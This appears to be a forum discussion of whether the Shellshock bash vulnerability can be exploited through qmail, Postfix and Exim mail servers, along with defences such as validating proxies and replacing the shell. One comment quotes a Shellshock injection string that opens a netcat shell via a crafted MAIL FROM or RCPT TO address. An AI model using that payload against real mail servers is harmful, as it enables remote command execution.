"Of course, ``security hole in qmail'' does not include problems outside of qmail: for example, NFS security problems, TCP/IP security problems, DNS security problems, bugs in scripts run from .forward files, and operating system bugs generally. It's silly to blame a problem on qmail if the system was already vulnerable before qmail was installed!"
But, I think he can take great satisfaction in thinking of a potential hole that even djb didn't consider. That's pretty impressive (though less impressive since everybody was sitting around trying to think of places where a shell might be invoked in non-obvious ways...I spent half an hour talking to my co-founder and employee during our regular meeting trying to think of ways our users could be effected outside of the already discussed ways, and we spent quite a bit of time testing various theories; one of the vectors we discussed was procmail being called by Postfix).
Edit: And, just in case anyone was wondering, Wietse seems to have considered the environment variable problem, and took measures to prevent exploits in Postfix, so it does not seem to be exploitable by Shellshock, even when calling out to procmail.
Distributions couldn't distribute qmail in the past because the license agreement made it impossible (or at least required such stupid things that no one in their right mind would do so). Its license became public domain in 2007, and I suppose would allow distributors to do sane things with the packages, but Postfix had already supplanted Sendmail as the preferred MTA on Linux and nobody really cared about qmail...since qmail isn't demonstrably more secure than Postfix (and both are maintained by well-known and well-respected security researchers).
And, to be clear, most distributions no longer use Sendmail as the default. Postfix is the default on RHEL/CentOS/Scientific Linux. exim was the default in Debian for many many years, not sure if it still is. Postfix is the default on Ubuntu, I believe. I can't think of any distros for which sendmail is the default MTA.
Postfix has a marginally poorer security track record than qmail does, but Postfix is the saner default choice for normal users. Both of them are head and shoulders better than every other MTA.
I would argue that this is at least partly because Postfix has a larger surface area...it does more, and thus, should reasonably be expected to have had a few more run-ins with security problems. Unless things have changed a lot over the past several years, qmail isn't capable of even functioning in a number of modern email environments, without significant patching.
Once qmail has been patched up to modern MTA standards, it no longer has the pedigree of being built and maintained by djb. I don't know the people who maintain the huge patch sets for qmail...maybe they're good. I know Wietse is more than competent.
But, that may be what you're getting at with "Postfix is the saner default choice for normal users". We support all of them (Sendmail, Postfix, qmail, and exim) in Virtualmin to varying degrees, but we configure Postfix, by default, and very strongly encourage its use over the alternatives (mostly because we know Postfix so much better, and because so many more people use it). About 95% of our users stick with Postfix, though we do have some users of all of the others.
In fact, it's explicitly listed in the man page for qmail-command:
ENVIRONMENT VARIABLES
qmail-local supplies several useful environment variables to
command. WARNING: These environment variables are not
quoted. They may contain special characters. They are
under the control of a possibly malicious remote user.
edit: which is to say, yes, djb thought of it a long time ago.
Yes, this is not exploitable without vulnerable bash.
But to paraphrase from the thread:
However, qmail is not parsing mail from:<> and rcpt to:<> in accordance with RFC821/RFC2821. Almost anything is allowed between the <>. There is no reason that qmail should allow the string "() { :; }; nc -e /bin/bash localhost 7777" to ever pass through mail from:<> or rcpt to:<>, and thus into the environment, in the first place.
While the manpage does say what you pasted above, there's a difference between "may contain special characters" and "may contain anything the user puts in this part of the SMTP dialog".
The reason that bash has put security holes in your system, and qmail hasn't, is largely that bash goes around parsing random strings, and qmail doesn't. Strings you treat as opaque data are guaranteed not to overflow your parsing stacks (like the ten-redirect limit just discovered), have null-byte injection vulnerabilities, or even just be parsed incorrectly.
(However, it's certainly true that carelessly passing strings through to things that do interpret them will cause vulnerabilities. SQL injection, shell injection, that really bizarre XSS hole I found in CGI.pm last millennium, XSS in general...)
It's a known behavior, and there are other write-ups (the list from lisp.org for example) that are written from the perspective that Shellshock is not a bug at all, but just an oldschool feature from a by-gone era.
Another great reason to have a good filtering proxy in front of qmail, such as Qpsmtpd or my own Haraka. Both validate MAIL FROM and RCPT TO commands to ensure they are valid according to RFC 5321 (the newer version of RFC 2821), and will reject any command not complying with those specifications. Qmail alone is just too fragile.
I would still argue the bug is not entirely bash it's fault. A feature that causes security bugs, is imo the fault of the application using a program that has these feature. It's like not escaping strings/CLI-commands/SQL commands.
Or did I miss something where this bash feature is not suppose to work under all circumstances ?
First, and foremost: user-provided data has been passed in environment variables since the stone-age. That's why, for example, we explicitly guard against LD_PRELOAD'ing a shared library into a suid-binary... But it was common knowledge, that this selection of dangerous/benign variables can be made based on the NAME of the variable, NOT the CONTENT. And bash basically calls eval(name+' '+env[name]) for every variable containing the magic substring.
Imagine any of your other favourite script languages scanning random places for "things that look as if they could be imported/included/executed"... and tell me that this is a smart thing to do.
The second mistake was to not just create a function-definition inside the currently running program, but to actually eval the complete content of the variable. If bash would just postpone the evaluation of the function to the point in time where it's actually called, no one would be bothered, because the script would have to be tricked into executing a command called "RECIPIENT" (or DHCP_OPTION_1234, or COOKIE, ...).
It's not a bash feature, it's a bug. It's not documented. It's impossible to properly escape strings to protect against nondocumented nonfeatures that cause data to be executed. Not at all comparable to the situation with SQL or command lines.
If shit like what bash is doing here is to be expected from programs in the Unix world, the only reasonable solution is to write it off as a failed experiment and burn the whole Unix thing to the ground (well, maybe we can keep the kernels) and rebuild a new world from scratch in Rust.
This being a feature and not a bug is the far worse alternative, that means the badness is inherent.
I thought of mentioning this - specifically, people who use the .qmail file in the mail directory.
Anyway, djb uses shell scripts liberally in his software projects but I've never seen him include a shell script with Bash-isms. That tells me he does not _assume_ his users to be using Bash.
Everyone has a choice. And if you are trying to practice "secure" computing, then some choices are wiser than others.
If a user thinks Bash is the bee's knees, then djb's software will work just fine; it does not discriminate against that user.
But if a user does not use Bash, and prefers to use a more simple, POSIX-like shell, that will work just fine too.
This is purely my opinion but unlike so many other software authors, djb does not appear to discriminate against people who prefer simple software systems that are not loaded with "features"; he does not intentionally or unintentionally force them to embrace complexity or be ignored.
That said, it also appears he is a self-professed Ubuntu user these days. For example, read his latest blog.cr.yp.to entry.
I do not understand how he can tolerate the amount of complexity in Ubuntu that is on by default and hidden from the user. But maybe I'm just too stupid to understand.
There seems to be a choice of at least two options:
1. keep Bash installed and try to determine every possible untrusted user input accepting or internet facing application that might at some time use the system shell, or
2. uninstall Bash and use a barebones POSIX-like shell without extra features.
Preserving the continued use of shell scripts with Bash-isms as a reason to choose option #1 does not make sense to me. Maybe there are other "compelling" reasons? (Interactive shell features?) With a little effort, these Bash script authors could probably learn to write scripts that do not use Bash-isms. Is that really so terrible as to make option #2 untenable?
If there are enormous Bash scripts being relied on in security senstive settings which "cannot" be rewritten in POSIX shell, then maybe the mistake was ever "deploying" such monstrosities in the first place.
Shell scripts, no matter what shell, should always be relatively small assuming the author has any common sense.
>> 2. uninstall Bash and use a barebones POSIX-like shell without extra features.
It's not that simple. True, djb doesn't say you need bash. But qmail uses /bin/sh (not configurable without recompiling). Try changing /bin/sh to, say, ksh on Ubuntu and watch as nothing else on the system works. The distributions make use of shell-specific features.
Yeah, it does. I meant Debian, but it looks like Debian changed too. My bad. My point was that changing /bin/sh from the distro-chosen one to something else could cause problems.
That depends on whether Exim validates MAIL FROM according to RFC 5321 or not. I would like to assume it does. Rudimentary testing on cam.ac.uk (where Exim was developed) shows that it does, so Exim is not vulnerable as far as I can tell.
http://cr.yp.to/qmail/guarantee.html